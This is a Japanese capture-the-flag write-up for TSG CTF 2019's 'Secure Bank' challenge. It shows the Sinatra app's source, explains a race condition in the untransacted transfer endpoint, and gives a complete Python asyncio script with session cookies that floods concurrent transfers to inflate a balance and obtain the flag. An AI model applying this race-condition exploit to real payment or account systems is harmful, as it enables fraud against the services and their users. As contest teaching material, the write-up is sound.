TSG CTF 2019 Writeup - Secure Bank
Question
I came up with more secure technique to store user list. Even if a cracker could dump it, now it should be of little value!!! http://34.85.75.40:19292/ ユーザ情報を保存するのに、もっとセキュアな方法を思いついた気がしなくもない。 仮に全部ダンプされてしまったとしても、かなり無価値になりそうでは。 http://34.85.75.40:19292/ Difficulty estimate: Easy
Solution
アカウントを作成してログインすると以下の画面。
別アカウント名を指定して送金できるようだ。
一旦、トップに戻ってsourceリンクからソースコードを確認する。
require 'digest/sha1' require 'rack/contrib' require 'sinatra/base' require 'sinatra/json' require 'sqlite3' STRETCH = 1000 LIMIT = 1000 class App < Sinatra::Base DB = SQLite3::Database.new 'data/db.sqlite3' DB.execute <<-SQL CREATE TABLE IF NOT EXISTS account ( user TEXT PRIMARY KEY, pass TEXT, balance INTEGER ); SQL use Rack::PostBodyContentTypeParser enable :sessions def err(code, message) [code, json({message: message})] end not_found do redirect '/index.html', 302 end get '/source' do content_type :text IO.binread __FILE__ end get '/api/flag' do return err(401, 'login first') unless user = session[:user] hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user row = res.next balance = row && row[0] res.close return err(401, 'login first') unless balance return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000 json({flag: IO.binread('data/flag.txt')}) end post '/api/balance' do return err(401, 'login first') unless user = session[:user] hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} res = DB.query('SELECT balance FROM account WHERE user = ?', hashed_user) row = res.next res.close return err(401, 'login first') unless row json({balance: row[0]}) end post '/api/register' do return err(400, 'bad request') unless user = params[:user] and String === user return err(400, 'bad request') unless pass = params[:pass] and String === pass return err(400, 'too short username') unless 4 <= user.size return err(400, ':thinking_face: 🤔') unless 6 <= pass.size return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT sleep 1 hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)} begin DB.execute 'INSERT INTO account (user, pass, balance) VALUES (?, ?, 100)', hashed_user, hashed_pass rescue SQLite3::ConstraintException return err(422, 'the username has already been taken') end return 200 end post '/api/login' do return err(400, 'bad request') unless user = params[:user] and String === user return err(400, 'bad request') unless pass = params[:pass] and String === pass return err(400, 'too short username') unless 4 <= user.size return err(400, ':thinking_face: 🤔') unless 6 <= pass.size return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT 1 FROM account WHERE user = ? AND pass = ?', hashed_user, hashed_pass row = res.next res.close return err(401, 'username and password did not match') unless row session[:user] = user return 200 end post '/api/logout' do session[:user] = nil return 200 end post '/api/transfer' do return err(401, 'login first') unless src = session[:user] return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src return err(400, 'bad request') unless amount = params[:amount] and String === amount return err(400, 'bad request') unless amount = amount.to_i and amount > 0 sleep 1 hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)} hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src row = res.next balance_src = row && row[0] res.close return err(422, 'no enough coins') unless balance_src >= amount res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst row = res.next balance_dst = row && row[0] res.close return err(422, 'no such user') unless balance_dst balance_src -= amount balance_dst += amount DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_src, hashed_src DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_dst, hashed_dst json({amount: amount, balance: balance_src}) end end
以下のことがわかる。
- balanceが10,000,000,000を超えたらflagをゲットできる。
- usernameとpasswordに対してSHA1のハッシュ計算を1000回かけてからDBに保存している。
- APIは以下の6種類。
/api/transferを眺めると、いわゆるトランザクション処理が無いことに気付く。
よって、複数の送金処理を同時に実行し、「DBからbalanceの取得および減算/加算」と「減算/加算後のUPDATE」の実行順序を前後させることで、送金後のアカウントのbalanceを、送金前のbalanceの値で上書きできそうだ。
アカウントをA、B、Cの3つを用意し、
リクエスト1:A→Bに1だけ送金
リクエスト2:B→Cに全額送金
の処理を同時にリクエストする。その際、以下の処理順序になれば成功。
- リクエスト1:アカウントAとBのbalanceをDBから取得し、減算/加算。
- リクエスト2:アカウントBとCのbalanceをDBから取得し、減算/加算。
- リクエスト2:アカウントBとCのbalanceをDBに反映。アカウントBのbalanceは0になる。
- リクエスト1:アカウントAとBのbalanceをDBに反映。アカウントBのbalanceは元のbalanceから1増えた値になる。
この処理を自動化するスクリプトは以下のとおり。
requestsを並列で実行するために、以下の記事を参考にした。
pod.hatenablog.com
import requests import json import asyncio # 3つのアカウントのセッション情報をあらかじめ用意 session_keep='BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRWNiMTJkNmE0NmRlZmJjYjMxYzZi%0ANTQ3NTI4Mzc3ZGQxODQyYTY5MTVmNGVkOTViNzY4Mjg4YTlmZmM3ZGU3OWQG%0AOwBGSSIJY3NyZgY7AEZJIjF6S0VZM0JWT0ltTDF2SlJvbjAvYVFvVnRWdDRF%0ATUsrb0VIVEdIMGJzcWs0PQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1kZTEzMjYyNGE2YmIyODliNzU0M2E5Mzk2NmUy%0ANTY2MWE3MmUzZmJiBjsARkkiCXVzZXIGOwBGSSIMa2VlcG1hbgY7AFQ%3D%0A--f662dd8c27209302d22e70fc637d10234d1844b7' session_transfer='BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRTY2NGEwMTRlYzZjOGIwYWEyZDlj%0ANzdjMTEzZjliYzA3Zjk4MGVjYTIwYjRlYjA3MDUzNDVlNDlhNDAwNmM1OGIG%0AOwBGSSIJY3NyZgY7AEZJIjFmUkh1dmVOdmhpNWlvd3FZcWtpdXdURzJuMnNP%0AcG5sWEM1YWpQcEo2bE1RPQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1kZTEzMjYyNGE2YmIyODliNzU0M2E5Mzk2NmUy%0ANTY2MWE3MmUzZmJiBjsARkkiCXVzZXIGOwBGSSIQdHJhbnNmZXJtYW4GOwBU%0A--a3e861b4da652c0fcbb68be5405ce39915ed80ca' session_rich='BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRWZmMGJmNmYzM2Q0Y2VlYjk1NDI3%0AOTVkMzEyNDJhYzAxNDFlMjA0NTFmMWYwMzFjOTIxZjRlMWQyMmNmNzA3NDQG%0AOwBGSSIJY3NyZgY7AEZJIjFxazQzZUtya1g3eTN4dk16cHFuS2dGVkFkdUpj%0AVjRjWlR3REpLUzFXZkJjPQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1hMWYzODY1Yjk4MGRiYjBiNDdkYTAwYzJlZGEw%0ANzFkZWQ4ODE4NzBiBjsARkkiCXVzZXIGOwBGSSIOa2FuZW1vY2hpBjsAVA%3D%3D%0A--ff7c567d7d318aa01d18398d0cafdc8bad29cee2' balanceurl = "http://34.85.75.40:19292/api/balance" url = "http://34.85.75.40:19292/api/transfer" def prepare(): ''' r = requests.post( url, data=json.dumps({ 'target':'keepman', 'amount':'10' }), headers={ 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0', 'Content-Type': 'application/json', 'Cookie': 'rack.session=' + session_rich } ) ''' r = requests.post( balanceurl, headers={ 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0', 'Content-Type': 'application/json', 'Cookie': 'rack.session=' + session_rich } ) data = r.json() ammount = str(data["balance"]) r = requests.post( url, data=json.dumps({ 'target':'transferman', 'amount':ammount }), headers={ 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0', 'Content-Type': 'application/json', 'Cookie': 'rack.session=' + session_rich } ) print(r.text) r = requests.post( balanceurl, headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36', 'Content-Type': 'application/json', 'Cookie': 'rack.session=' + session_transfer } ) data = r.json() ammount = str(data["balance"]) return ammount def keep(): r = requests.post( url, data=json.dumps({ 'target':'transferman', 'amount':'1' }), headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36', 'Content-Type': 'application/json', 'Cookie': 'rack.session=' + session_keep } ) print(r.text) def transfer(ammount): r = requests.post( url, data=json.dumps({ 'target':'kanemochi', 'amount':ammount }), headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36', 'Content-Type': 'application/json', 'Cookie': 'rack.session=' + session_transfer } ) print(r.text) async def run(loop, ammount): async def run_req_keep(): return await loop.run_in_executor(None, keep) async def run_req_transfer(ammount): return await loop.run_in_executor(None, transfer, ammount) tasks = [] tasks.append(run_req_keep()) tasks.append(run_req_keep()) tasks.append(run_req_keep()) tasks.append(run_req_keep()) tasks.append(run_req_transfer(ammount)) return await asyncio.gather(*tasks) for i in range(1000): ammount = prepare() loop = asyncio.get_event_loop() loop.run_until_complete(run(loop, ammount))
あとはガチャの世界。
実行すると、処理順序が前後する度にbalanceが倍々になっていく。
実行ログ例
{"amount":1,"balance":258} {"amount":1,"balance":256} {"amount":1,"balance":257} {"amount":46331405,"balance":1} {"amount":1,"balance":259} {"amount":46331405,"balance":0} {"amount":1,"balance":254} {"amount":1,"balance":252} {"amount":1,"balance":253} {"amount":92662811,"balance":2} {"amount":1,"balance":255} {"amount":92662811,"balance":0}
途中、接続エラーに何度かなるが、粘り強く実行していると、10,000,000,000を超える。
フラグゲット
TSGCTF{H4SH_FUNCTION_1S_NOT_INJ3C71V3... :(}
あれ?想定解と違った?
おまけ
自分が着手する前にDiscordで以下のアナウンスがあり、少々ビビりながら実行した。